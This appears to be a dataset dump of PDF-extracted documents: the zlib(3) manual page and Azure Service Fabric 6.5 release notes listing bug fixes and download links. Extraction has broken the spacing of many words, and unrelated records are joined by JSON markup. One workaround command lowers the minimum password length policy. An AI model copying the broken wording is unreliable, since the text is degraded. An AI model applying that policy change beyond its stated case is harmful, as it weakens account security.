like","value":[{"data":"ZLIB(3) Libr ar yFunctions Man ual ZLIB(3)\nNAME\nzlib − compression/decompression libr ar y\nSYNOPSIS\n[see zlib.h forfull description]\nDESCRIPTION\nThezliblibrar yis a gener al purpose data compression libr ar y.The code is thread saf e, assuming\nthat the standard libr ar yfunctions used are thread saf e, such as memor yallocation routines .It\nprovides in-memor ycompression and decompression functions ,including integ rity checks of the\nuncompressed data. This version of the libr ar ysuppor ts only one compression method (defla-\ntion) but other algorithms ma yb ea dded later with the same stream interface.\nCompression can be done in a single step if the b uffers are large enough or can be done b yre-\npeated calls of the compression function. In the latter case ,the application must provide more in-\nput and/or consume the output (providing more output space) before each call.\nThe libr ar yalso supports reading and writing files in gzip(1) (.gz) f or mat with an interface similar\nto that of stdio.\nThe libr ar ydoes not install an ysignal handler .The decoder checks the consistency of the com-\npressed data, so the libr ar yshould ne vercrash eveni nt he case of corrupted input.\nAll functions of the compression libr ar yare documented in the file zlib.h .The distr ibution source\nincludes examples of use of the libr ar yin the files test/example.c andtest/minigzip.c, as well as\nother examples in the examples/ director y .\nChanges to this version are documented in the file ChangeLog that accompanies the source.\nzlibis built in to man ylanguages and oper ating systems ,including but not limited to J ava, Python,\n.NET ,PHP,Per l,Ruby, Swift, and Go.\nAn exper imental package to read and write files in the .zip f or mat, wr itten on top of zlibby G illes\nVollant (info@winimage.com), is a vailable at:\nhttp://www.winimage.com/zLibDll/minizip .html and also in the contr ib/minizip director y of\nthe main zlibsource distribution.\nSEE ALSO\nThezlibwebsite can be found at:\nhttp://zlib.net/\nThe data f or mat used b ythezliblibrar yis described b yRFC (Request f or Comments) 1950 to\n1952 in the files:\nhttp://tools.ietf.org/html/rfc1950 (for the zlib header and trailer f or mat)\nhttp://tools.ietf.org/html/rfc1951 (for the deflate compressed data f or mat)\nhttp://tools.ietf.org/html/rfc1952 (for the gzip header and trailer f or mat)\nMar k Nelson wrote an article about zlibforthe Jan. 1997 issue of Dr.Dobb’sJour nal; acopyof\nthe article is a vailable at:\nhttp://mar knelson.us/1997/01/01/zlib-engine/\nREPORTING PROBLEMS\nBefore reporting a problem, please chec kthezlibwebsite to v er ify that you ha ve the latest v er-\nsion of zlib;otherwise ,obtain the latest version and see if the prob lem still e xists.Please read\nthezlibFA Q at:\nhttp://zlib.net/zlib_faq.html\nbefore asking for help .Send questions and/or comments to zlib@gzip .org, or (for the Windo ws\nDLL version) to Gilles Vollant (info@winimage.com).\n18 Aug 2023 1ZLIB(3) Libr ar yFunctions Man ual ZLIB(3)\nAUTHORS AND LICENSE\nVersion 1.3\nCopyr ight (C) 1995-2023 Jean-loup Gailly and Mar kAdler\nThis software is provided ’as-is’, without an yexpress or implied w arranty .Inn oe vent will the au-\nthors be held liable for an ydamages arising from the use of this software.\nPermission is g ranted to an yone to use this software for an ypur pose ,including commercial appli-\ncations ,and to alter it and redistribute it freely ,subject to the following restrictions:\n1.The origin of this software must not be misrepresented; you must not claim that you wrote the\nor iginal software .I fyou use this software in a product, an ac knowledgment in the product doc-\numentation would be appreciated but is not required.\n2.Altered source versions must be plainly mar keda ss uch, and must not be misrepresented as\nbeing the original software.\n3. This notice ma ynot be remo vedo ra ltered from an ysource distribution.\nJean-loup Gailly Mar k Adler\njloup@gzip .org madler@alumni.caltech.edu\nThe deflate f or mat used b yzlibwasdefined b yPhil Katz. The deflate and zlibspecifications\nwere written b yL .P eter Deutsch. Thanks to all the people who reported problems and suggested\nvarious impro vements in zlib;who are too numerous to cite here.\nUNIX manual page b yR .P .C .R odgers ,U .S.N ational Libr ar y of Medicine\n(rodgers@nlm.nih.gov).\n18 Aug 2023 2"}],"string":"[\n {\n \"data\": \"ZLIB(3) Libr ar yFunctions Man ual ZLIB(3)\\nNAME\\nzlib − compression/decompression libr ar y\\nSYNOPSIS\\n[see zlib.h forfull description]\\nDESCRIPTION\\nThezliblibrar yis a gener al purpose data compression libr ar y.The code is thread saf e, assuming\\nthat the standard libr ar yfunctions used are thread saf e, such as memor yallocation routines .It\\nprovides in-memor ycompression and decompression functions ,including integ rity checks of the\\nuncompressed data. This version of the libr ar ysuppor ts only one compression method (defla-\\ntion) but other algorithms ma yb ea dded later with the same stream interface.\\nCompression can be done in a single step if the b uffers are large enough or can be done b yre-\\npeated calls of the compression function. In the latter case ,the application must provide more in-\\nput and/or consume the output (providing more output space) before each call.\\nThe libr ar yalso supports reading and writing files in gzip(1) (.gz) f or mat with an interface similar\\nto that of stdio.\\nThe libr ar ydoes not install an ysignal handler .The decoder checks the consistency of the com-\\npressed data, so the libr ar yshould ne vercrash eveni nt he case of corrupted input.\\nAll functions of the compression libr ar yare documented in the file zlib.h .The distr ibution source\\nincludes examples of use of the libr ar yin the files test/example.c andtest/minigzip.c, as well as\\nother examples in the examples/ director y .\\nChanges to this version are documented in the file ChangeLog that accompanies the source.\\nzlibis built in to man ylanguages and oper ating systems ,including but not limited to J ava, Python,\\n.NET ,PHP,Per l,Ruby, Swift, and Go.\\nAn exper imental package to read and write files in the .zip f or mat, wr itten on top of zlibby G illes\\nVollant (info@winimage.com), is a vailable at:\\nhttp://www.winimage.com/zLibDll/minizip .html and also in the contr ib/minizip director y of\\nthe main zlibsource distribution.\\nSEE ALSO\\nThezlibwebsite can be found at:\\nhttp://zlib.net/\\nThe data f or mat used b ythezliblibrar yis described b yRFC (Request f or Comments) 1950 to\\n1952 in the files:\\nhttp://tools.ietf.org/html/rfc1950 (for the zlib header and trailer f or mat)\\nhttp://tools.ietf.org/html/rfc1951 (for the deflate compressed data f or mat)\\nhttp://tools.ietf.org/html/rfc1952 (for the gzip header and trailer f or mat)\\nMar k Nelson wrote an article about zlibforthe Jan. 1997 issue of Dr.Dobb’sJour nal; acopyof\\nthe article is a vailable at:\\nhttp://mar knelson.us/1997/01/01/zlib-engine/\\nREPORTING PROBLEMS\\nBefore reporting a problem, please chec kthezlibwebsite to v er ify that you ha ve the latest v er-\\nsion of zlib;otherwise ,obtain the latest version and see if the prob lem still e xists.Please read\\nthezlibFA Q at:\\nhttp://zlib.net/zlib_faq.html\\nbefore asking for help .Send questions and/or comments to zlib@gzip .org, or (for the Windo ws\\nDLL version) to Gilles Vollant (info@winimage.com).\\n18 Aug 2023 1ZLIB(3) Libr ar yFunctions Man ual ZLIB(3)\\nAUTHORS AND LICENSE\\nVersion 1.3\\nCopyr ight (C) 1995-2023 Jean-loup Gailly and Mar kAdler\\nThis software is provided ’as-is’, without an yexpress or implied w arranty .Inn oe vent will the au-\\nthors be held liable for an ydamages arising from the use of this software.\\nPermission is g ranted to an yone to use this software for an ypur pose ,including commercial appli-\\ncations ,and to alter it and redistribute it freely ,subject to the following restrictions:\\n1.The origin of this software must not be misrepresented; you must not claim that you wrote the\\nor iginal software .I fyou use this software in a product, an ac knowledgment in the product doc-\\numentation would be appreciated but is not required.\\n2.Altered source versions must be plainly mar keda ss uch, and must not be misrepresented as\\nbeing the original software.\\n3. This notice ma ynot be remo vedo ra ltered from an ysource distribution.\\nJean-loup Gailly Mar k Adler\\njloup@gzip .org madler@alumni.caltech.edu\\nThe deflate f or mat used b yzlibwasdefined b yPhil Katz. The deflate and zlibspecifications\\nwere written b yL .P eter Deutsch. Thanks to all the people who reported problems and suggested\\nvarious impro vements in zlib;who are too numerous to cite here.\\nUNIX manual page b yR .P .C .R odgers ,U .S.N ational Libr ar y of Medicine\\n(rodgers@nlm.nih.gov).\\n18 Aug 2023 2\"\n }\n]"}}},{"rowIdx":39454,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Service_Fabric_ReleaseNotes_65CU3.pdf\",\n \"project_name\": \"Azure Service Fabric\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":" \n Microsoft Azure Service Fabric 6.5 Third Refresh Release Notes \nThis release includes the bug fixes and features described in this document. This release includes runtime, SDKs and Windows Server Standalone \ndeployments to run on -premises. \nThe following pa ckages and versions are part of this release \nService Fabric Runtime Ubuntu 6.5.466.1 \nWindows 6.5.664.9590 \nService Fabric for Windows \nServer Service Fabric Standalone Installer Package 6.5.664.9590 \n.NET SDK Windows .NET SDK 3.4.664 \nMicrosoft.ServiceFa bric 6.5.664 \nReliable Services and Reliable Actors 3.4.664 \nASP.NET Core Service Fabric integration 3.4.664 \nJava SDK Java for Linux SDK 1.0.5 \nService Fabric PowerShell and \nCLI AzureRM PowerShell Module 0.3.15 \nSFCTL 8.0.0 \nService Fabric Tooling Visual Studio Tooling 2.5.20615.1 \n \n Contents \nMicrosoft Azure Service Fabric 6.5 Third Refresh Release Notes ................................ ................................ ................................ ................................ 1 \nKey Announcements ................................ ................................ ................................ ................................ ................................ ................................ ...... 3 \nService Fabric Runtime ................................ ................................ ................................ ................................ ................................ ................................ .. 4 \nService Fabric Common Bug Fixes ................................ ................................ ................................ ................................ ................................ ................. 5 \nRepositories and Download Links ................................ ................................ ................................ ................................ ................................ ................. 6 \nVisual Studio 2015 Tool fo r Service Fabric – localized download links ................................ ................................ ................................ ................... 9 \n \n \n \n \n \n \n \n \n \n \n \n \n \n Key Announcements \n• GA of Service Fabric Azure Files Volume Driver: Th e Azure Files volume plugin is a Docker volume plugin that provides Azure Files based \nvolu mes for Docker containers. This Doc ker volume plugin is packaged as a Service Fabric application that can be deployed to Service \nFabric clusters. Its purpose is to provide Azure Files based volumes for other Service Fabric container applications that are d eployed to \nthe cluster. Learn more about Service Fabric Azure File Volume Driver \n \n \n Service Fabric Runtime \n \n \n \n \n \nWindows \n6.5.664.959 0 \nUbuntu \n6.5.466.1 \n Bug \nProvisioning an \napplication in \nSFPKG from \nexternal store \nhangs a long time. \n Impact : Application provisioning could fail after a long time by time -out. The retry will succeed at provisioning the \nfailed application. \nFix: The web client is fixed to detect absent progress notification. It reconnects to the server again under such \nsituation. \nWorkaround : Retry \nWindows \n6.5.664.9590 \n \nUbuntu \n6.5.466.1 Bug Increase the \nminimum length of \npasswords generated \nfor SF application \naccounts to 16 Impact: SF6.5CU2 introduced a regression where the length of passwords generated for local accounts created by the \nSF runtime was reduced from 20 to 10 characters. On systems with policies that enforce a password length greater \nthan 10, this causes acco unt creation to fail. \nFix: Password length is increased to 16. \nWorkaround: on affected systems, override the password length restriction by executing: net accounts /minpwlen:10 \nUbuntu \n6.5.466.1 \nWindows \n6.5.664.9590 Feature Cluster can be \nconfigured to accept \nexpired self -signed \ncertificates pinned \nby thumbprint for \ntransport security. Brief desc : Service Fabric now supports allowing a cluster secured with self-signed certificat es declared by \nthumbprint, to use its cluster certificate past the certificate expiration (Valid To) date. The feature allows the recovery \nof a cluster that collapsed due to an expired certificate. \nHow/When to Consume it: The feature is applicable only to clusters secured with self -signed certificates declared by \nthumbprint. Use it proactively to avoid a cluster collapse upon certificate expiration, or as a recovery measure after \nthe cluster certificate has expired. \nGitHub link: https://github. com/Azure/Service -Fabric -Troubleshooting -\nGuides/blob/sedwardsdev/Security/How%20to%20recover%2 0from%20an%20Expired%20Cluster%20Certificate.md \n Service Fabric Common Bug Fixes \n \n \n \n Versions IssueType Description Resolution \nWindows \n6.5.664.9590 \n Bug Correct ly update \nthe DNS server \nlist for S ervice \nFabric DNS \nduring server list \nchanges Brief desc: When you switch between a home network and work network, it can cause the DNS list to change on your \nsystem. Previously S ervice Fabric DNS would overwrite the DNS server list, with the old list from the previous \nnetwork . This would cause DNS to stop working. It impacts one-box and even Azure Stack based scenarios. \nFix: only update the server list such that S ervice Fabric DNS IP is on the top and will make no other changes, fixing \nthis issue. \nHow/When to Consume it: It is an automatic environment configuration when you use S ervice Fabric DNS as your \nprimary DNS server . Note : you may still need to do an ipconfig /renew, for the DHCP cache to also update after the \nnetwork change. \nWorkaround : Previously it was advised to tear down a cluster between network changes or attempt to recreate the cluster. \n Repositories and Download Links \nThe table below is an overview of the direct links to the packages associated with this release. \nFollow this guidance for setting up your developer environment: \n• Linux: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -linux \n• Mac: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -mac \n• Windows: https://docs.micr osoft.com/en -us/azure/service -fabric/service -fabric -get-started \nArea Package Version Repository Direct Download Link \nService \nFabric \nRuntime Ubuntu Developer Set -up 6.5.466.1 N/A Cluster Runtime: \nhttps://apt -\nmo.trafficmanager.net/repos/servicefab\nric/pool/main/s/servicefabric \nService Fabric SDK for local cluster \nsetup: \nhttps://apt -\nmo.trafficmanager.net/repos/servicefab\nric/pool/main/s/servicefabricsdkcomm\non/ \nContainer image: \nhttps://hub.docker.com/r/microsoft/ser\nvice-fabric -onebox / \n Area Package Version Repository Direct Download Link \nRed Hat Developer Set -up 6.1.189.1 N/A Cluster Runtime: \nhttps://packages.microsoft.com/yumre\npos/microsoft -rhel7.4 -prod/ \n \nService Fabric SDK for local cluster \nsetup: \nhttps://packages.microsoft.com/yumre\npos/microsoft -rhel7.4 -\nprod/servicefabric_sdkcommon_1.1.2.r\npm \n \nWindows Developer Set -up 6.5.664.9590 N/A https://download.microsoft.com/downl\noad/7/1/7/71724eb1 -7d4d -4fae-9c59 -\n22f24729b749/MicrosoftServiceFabric\n.6.5.664.95 90.exe \nService \nFabric for \nWindows \nServer Service Fabric Standalone \nInstaller Package 6.5.664.9590 N/A https://download.microsoft.com/downl\noad/8/3/6/836E3E99 -A300 -4714 -\n8278 -\n96BC3E8B5528 /6.5.664.9590/Microso\nft.Azure.ServiceFabric.WindowsServe\nr.6.5.664.9590.zip \nService Fabric Standalone \nRuntime 6.5.664.9590 N/A https://download.microsoft.com/downl\noad/B/0/B/B0BCCAC5 -65AA -4BE3 -\nAB13 -\nD5FF5890F4B5/6.5.664.9590/Mi croso\nftAzureService Fabric.6.5.664.9590.cab \n.NET SDK Windows .NET SDK 3.4.664 N/A https://download.microsoft.com/downl\noad/7/1/7/71724 eb1-7d4d -4fae-9c59 -\n22f24729b749/MicrosoftServiceFabric\nSDK.3.4.664.m si \nMicrosoft.ServiceFabric 6.5.664 N/A https://www.nuget.org \n Area Package Version Repository Direct Download Link \nReliable Services and Reliable \nActors \n• Microsoft.ServiceFabr\nic.Services \n• Microsoft.Ser viceFabr\nic.Services.Remoting \n• Microsoft.ServiceFabr\nic.Services.Wcf \n• Microsoft.ServiceFabr\nic.Actors \n• Microsoft.ServiceFabr\nic.Actors.Wcf 3.4.664 https://github.com/Azure/service -\nfabric -services -and-actors -dotnet https://www.nuget.org \nASP.NET Core Service Fabric \nintegration \n• Micros oft.ServiceFabr\nic.Services.AspNetCor\ne.* 3.4.664 https://github.com/Azure/service -\nfabric -aspnetcore https://www.nuget.org \nData, Diagnostics and Fabric \ntransport \n• Microsoft.ServiceFabr\nic.Data \n• Microsoft.ServiceFabr\nic.Data.Interfaces \n• Microsoft.ServiceFabr\nic.Diagnostic s.Internal \n• Microsoft.ServiceFabr\nic.FabricTransport.Inte\nrnal 3.4.664 N/A https://www.nuget.org \n \nMicrosoft.ServiceFabric.Data.\nExtensions 3.4.664 N/A https://www.nuget.org \n \nJava SDK Java SDK 1.0.5 N/A https://mvnrepository.com/artifact/com\n.microsoft.servicefabric/sf -actors/1.0.5 \nVisual \nStudio Visual Studio 2017 Tools for \nService Fabric 2.5.20608 .1 N/A Included in Visual Studio 2017 Update \n7 (15.7) and above \n Area Package Version Repository Direct Download Link \nVisual Studio 2015 Tools for \nService Fabric 2.5.20615.1 \n N/A See localized download links below \nEclipse Service Fabric plug -in for \nEclipse 2.0.7 N/A N/A \nYeoman Azure Servi ce Fabric Java \ngenerator 1.0.7 https://github.com/Azure/generator\n-azuresfjava N/A \nAzure Service Fabric C# \ngenerator 1.0.9 https ://github.com/Azure/generator\n-azuresfcsharp N/A \nAzure Service Fabric guest \nexecutables generator 1.0.1 https://github.com/Azure/generator\n-azuresfguest N/A \nAzure Service Fabric \nContainer g enerators 1.0.1 https://github.com/Azure/generator\n-azuresfcontainer N/A \nCLI Service Fabric CLI 8.0.0 https://github.com/Azure/se rvice -\nfabric -cli https://pypi.python.org/pypi/sfctl \nPowerShel\nl AzureRM.ServiceFabric 0.3.15 https: //github.com/Azure/azure -\npowershell/tree/preview/src/Resou\nrceManager/ServiceFabric https://www.powershellgallery.com/pa\nckages/AzureRM.ServiceFabric/0.3.15 \n \nVisual Studio 2015 Tool for Service Fabric – localized download links \nNOTE: The below download links are for the 2.5.20615.1 release of Visual Studio 2015 Tools for Service Fabric. \n \nhttps://download.microsoft.com/download/7/1/7/7 1724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.de -de.msi \nhttps://download.mic rosoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.en -us.msi \nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.es -es.msi \nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceF abricTools.VS140.fr -fr.msi \nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729 b749/MicrosoftAzureServiceFabricTools.VS140.it -it.msi \nhttps://download.microsoft.com/download/7/1/7/71724 eb1-7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.ja -jp.msi \nhttps://download.microso ft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFab ricTools.VS140.ko -kr.msi \nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b7 49/MicrosoftAzureServiceFabricTools.VS140.ru -ru.msi \n https://download.microsoft.com/download/7/1/7/71724eb 1-7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.zh -cn.msi \nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFab ricTools.VS140.zh -tw.msi "}],"string":"[\n {\n \"data\": \" \\n Microsoft Azure Service Fabric 6.5 Third Refresh Release Notes \\nThis release includes the bug fixes and features described in this document. This release includes runtime, SDKs and Windows Server Standalone \\ndeployments to run on -premises. \\nThe following pa ckages and versions are part of this release \\nService Fabric Runtime Ubuntu 6.5.466.1 \\nWindows 6.5.664.9590 \\nService Fabric for Windows \\nServer Service Fabric Standalone Installer Package 6.5.664.9590 \\n.NET SDK Windows .NET SDK 3.4.664 \\nMicrosoft.ServiceFa bric 6.5.664 \\nReliable Services and Reliable Actors 3.4.664 \\nASP.NET Core Service Fabric integration 3.4.664 \\nJava SDK Java for Linux SDK 1.0.5 \\nService Fabric PowerShell and \\nCLI AzureRM PowerShell Module 0.3.15 \\nSFCTL 8.0.0 \\nService Fabric Tooling Visual Studio Tooling 2.5.20615.1 \\n \\n Contents \\nMicrosoft Azure Service Fabric 6.5 Third Refresh Release Notes ................................ ................................ ................................ ................................ 1 \\nKey Announcements ................................ ................................ ................................ ................................ ................................ ................................ ...... 3 \\nService Fabric Runtime ................................ ................................ ................................ ................................ ................................ ................................ .. 4 \\nService Fabric Common Bug Fixes ................................ ................................ ................................ ................................ ................................ ................. 5 \\nRepositories and Download Links ................................ ................................ ................................ ................................ ................................ ................. 6 \\nVisual Studio 2015 Tool fo r Service Fabric – localized download links ................................ ................................ ................................ ................... 9 \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n Key Announcements \\n• GA of Service Fabric Azure Files Volume Driver: Th e Azure Files volume plugin is a Docker volume plugin that provides Azure Files based \\nvolu mes for Docker containers. This Doc ker volume plugin is packaged as a Service Fabric application that can be deployed to Service \\nFabric clusters. Its purpose is to provide Azure Files based volumes for other Service Fabric container applications that are d eployed to \\nthe cluster. Learn more about Service Fabric Azure File Volume Driver \\n \\n \\n Service Fabric Runtime \\n \\n \\n \\n \\n \\nWindows \\n6.5.664.959 0 \\nUbuntu \\n6.5.466.1 \\n Bug \\nProvisioning an \\napplication in \\nSFPKG from \\nexternal store \\nhangs a long time. \\n Impact : Application provisioning could fail after a long time by time -out. The retry will succeed at provisioning the \\nfailed application. \\nFix: The web client is fixed to detect absent progress notification. It reconnects to the server again under such \\nsituation. \\nWorkaround : Retry \\nWindows \\n6.5.664.9590 \\n \\nUbuntu \\n6.5.466.1 Bug Increase the \\nminimum length of \\npasswords generated \\nfor SF application \\naccounts to 16 Impact: SF6.5CU2 introduced a regression where the length of passwords generated for local accounts created by the \\nSF runtime was reduced from 20 to 10 characters. On systems with policies that enforce a password length greater \\nthan 10, this causes acco unt creation to fail. \\nFix: Password length is increased to 16. \\nWorkaround: on affected systems, override the password length restriction by executing: net accounts /minpwlen:10 \\nUbuntu \\n6.5.466.1 \\nWindows \\n6.5.664.9590 Feature Cluster can be \\nconfigured to accept \\nexpired self -signed \\ncertificates pinned \\nby thumbprint for \\ntransport security. Brief desc : Service Fabric now supports allowing a cluster secured with self-signed certificat es declared by \\nthumbprint, to use its cluster certificate past the certificate expiration (Valid To) date. The feature allows the recovery \\nof a cluster that collapsed due to an expired certificate. \\nHow/When to Consume it: The feature is applicable only to clusters secured with self -signed certificates declared by \\nthumbprint. Use it proactively to avoid a cluster collapse upon certificate expiration, or as a recovery measure after \\nthe cluster certificate has expired. \\nGitHub link: https://github. com/Azure/Service -Fabric -Troubleshooting -\\nGuides/blob/sedwardsdev/Security/How%20to%20recover%2 0from%20an%20Expired%20Cluster%20Certificate.md \\n Service Fabric Common Bug Fixes \\n \\n \\n \\n Versions IssueType Description Resolution \\nWindows \\n6.5.664.9590 \\n Bug Correct ly update \\nthe DNS server \\nlist for S ervice \\nFabric DNS \\nduring server list \\nchanges Brief desc: When you switch between a home network and work network, it can cause the DNS list to change on your \\nsystem. Previously S ervice Fabric DNS would overwrite the DNS server list, with the old list from the previous \\nnetwork . This would cause DNS to stop working. It impacts one-box and even Azure Stack based scenarios. \\nFix: only update the server list such that S ervice Fabric DNS IP is on the top and will make no other changes, fixing \\nthis issue. \\nHow/When to Consume it: It is an automatic environment configuration when you use S ervice Fabric DNS as your \\nprimary DNS server . Note : you may still need to do an ipconfig /renew, for the DHCP cache to also update after the \\nnetwork change. \\nWorkaround : Previously it was advised to tear down a cluster between network changes or attempt to recreate the cluster. \\n Repositories and Download Links \\nThe table below is an overview of the direct links to the packages associated with this release. \\nFollow this guidance for setting up your developer environment: \\n• Linux: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -linux \\n• Mac: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -mac \\n• Windows: https://docs.micr osoft.com/en -us/azure/service -fabric/service -fabric -get-started \\nArea Package Version Repository Direct Download Link \\nService \\nFabric \\nRuntime Ubuntu Developer Set -up 6.5.466.1 N/A Cluster Runtime: \\nhttps://apt -\\nmo.trafficmanager.net/repos/servicefab\\nric/pool/main/s/servicefabric \\nService Fabric SDK for local cluster \\nsetup: \\nhttps://apt -\\nmo.trafficmanager.net/repos/servicefab\\nric/pool/main/s/servicefabricsdkcomm\\non/ \\nContainer image: \\nhttps://hub.docker.com/r/microsoft/ser\\nvice-fabric -onebox / \\n Area Package Version Repository Direct Download Link \\nRed Hat Developer Set -up 6.1.189.1 N/A Cluster Runtime: \\nhttps://packages.microsoft.com/yumre\\npos/microsoft -rhel7.4 -prod/ \\n \\nService Fabric SDK for local cluster \\nsetup: \\nhttps://packages.microsoft.com/yumre\\npos/microsoft -rhel7.4 -\\nprod/servicefabric_sdkcommon_1.1.2.r\\npm \\n \\nWindows Developer Set -up 6.5.664.9590 N/A https://download.microsoft.com/downl\\noad/7/1/7/71724eb1 -7d4d -4fae-9c59 -\\n22f24729b749/MicrosoftServiceFabric\\n.6.5.664.95 90.exe \\nService \\nFabric for \\nWindows \\nServer Service Fabric Standalone \\nInstaller Package 6.5.664.9590 N/A https://download.microsoft.com/downl\\noad/8/3/6/836E3E99 -A300 -4714 -\\n8278 -\\n96BC3E8B5528 /6.5.664.9590/Microso\\nft.Azure.ServiceFabric.WindowsServe\\nr.6.5.664.9590.zip \\nService Fabric Standalone \\nRuntime 6.5.664.9590 N/A https://download.microsoft.com/downl\\noad/B/0/B/B0BCCAC5 -65AA -4BE3 -\\nAB13 -\\nD5FF5890F4B5/6.5.664.9590/Mi croso\\nftAzureService Fabric.6.5.664.9590.cab \\n.NET SDK Windows .NET SDK 3.4.664 N/A https://download.microsoft.com/downl\\noad/7/1/7/71724 eb1-7d4d -4fae-9c59 -\\n22f24729b749/MicrosoftServiceFabric\\nSDK.3.4.664.m si \\nMicrosoft.ServiceFabric 6.5.664 N/A https://www.nuget.org \\n Area Package Version Repository Direct Download Link \\nReliable Services and Reliable \\nActors \\n• Microsoft.ServiceFabr\\nic.Services \\n• Microsoft.Ser viceFabr\\nic.Services.Remoting \\n• Microsoft.ServiceFabr\\nic.Services.Wcf \\n• Microsoft.ServiceFabr\\nic.Actors \\n• Microsoft.ServiceFabr\\nic.Actors.Wcf 3.4.664 https://github.com/Azure/service -\\nfabric -services -and-actors -dotnet https://www.nuget.org \\nASP.NET Core Service Fabric \\nintegration \\n• Micros oft.ServiceFabr\\nic.Services.AspNetCor\\ne.* 3.4.664 https://github.com/Azure/service -\\nfabric -aspnetcore https://www.nuget.org \\nData, Diagnostics and Fabric \\ntransport \\n• Microsoft.ServiceFabr\\nic.Data \\n• Microsoft.ServiceFabr\\nic.Data.Interfaces \\n• Microsoft.ServiceFabr\\nic.Diagnostic s.Internal \\n• Microsoft.ServiceFabr\\nic.FabricTransport.Inte\\nrnal 3.4.664 N/A https://www.nuget.org \\n \\nMicrosoft.ServiceFabric.Data.\\nExtensions 3.4.664 N/A https://www.nuget.org \\n \\nJava SDK Java SDK 1.0.5 N/A https://mvnrepository.com/artifact/com\\n.microsoft.servicefabric/sf -actors/1.0.5 \\nVisual \\nStudio Visual Studio 2017 Tools for \\nService Fabric 2.5.20608 .1 N/A Included in Visual Studio 2017 Update \\n7 (15.7) and above \\n Area Package Version Repository Direct Download Link \\nVisual Studio 2015 Tools for \\nService Fabric 2.5.20615.1 \\n N/A See localized download links below \\nEclipse Service Fabric plug -in for \\nEclipse 2.0.7 N/A N/A \\nYeoman Azure Servi ce Fabric Java \\ngenerator 1.0.7 https://github.com/Azure/generator\\n-azuresfjava N/A \\nAzure Service Fabric C# \\ngenerator 1.0.9 https ://github.com/Azure/generator\\n-azuresfcsharp N/A \\nAzure Service Fabric guest \\nexecutables generator 1.0.1 https://github.com/Azure/generator\\n-azuresfguest N/A \\nAzure Service Fabric \\nContainer g enerators 1.0.1 https://github.com/Azure/generator\\n-azuresfcontainer N/A \\nCLI Service Fabric CLI 8.0.0 https://github.com/Azure/se rvice -\\nfabric -cli https://pypi.python.org/pypi/sfctl \\nPowerShel\\nl AzureRM.ServiceFabric 0.3.15 https: //github.com/Azure/azure -\\npowershell/tree/preview/src/Resou\\nrceManager/ServiceFabric https://www.powershellgallery.com/pa\\nckages/AzureRM.ServiceFabric/0.3.15 \\n \\nVisual Studio 2015 Tool for Service Fabric – localized download links \\nNOTE: The below download links are for the 2.5.20615.1 release of Visual Studio 2015 Tools for Service Fabric. \\n \\nhttps://download.microsoft.com/download/7/1/7/7 1724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.de -de.msi \\nhttps://download.mic rosoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.en -us.msi \\nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.es -es.msi \\nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceF abricTools.VS140.fr -fr.msi \\nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729 b749/MicrosoftAzureServiceFabricTools.VS140.it -it.msi \\nhttps://download.microsoft.com/download/7/1/7/71724 eb1-7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.ja -jp.msi \\nhttps://download.microso ft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFab ricTools.VS140.ko -kr.msi \\nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b7 49/MicrosoftAzureServiceFabricTools.VS140.ru -ru.msi \\n https://download.microsoft.com/download/7/1/7/71724eb 1-7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFabricTools.VS140.zh -cn.msi \\nhttps://download.microsoft.com/download/7/1/7/71724eb1 -7d4d -4fae-9c59 -22f24729b749/MicrosoftAzureServiceFab ricTools.VS140.zh -tw.msi \"\n }\n]"}}},{"rowIdx":39455,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Service_Fabric_ReleaseNotes_65CU2.pdf\",\n \"project_name\": \"Azure Service Fabric\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":" \n Microsoft Azure Service Fabric 6.5 Second Refresh Release Notes \nThis release includes the bug fixes and features described in this document. This release includes runtime, SDKs and Windows Server Standalone \ndeployments to run on -premises. \nThe following p ackages and versions are part of this release \nService Fabric Runtime Ubuntu 6.5.460.1 \nWindows 6.5.658. 9590 \nService Fabric for Windows \nServer Service Fabric Standalone Installer Package 6.5.658. 9590 \n.NET SDK Windows .NET SDK 3.4.658 \nMicrosoft.ServiceFabric 6.5.658 \nReliable Services and Reliable Actors 3.4.658 \nASP.NET Core Service Fab ric integration 3.4.658 \nJava 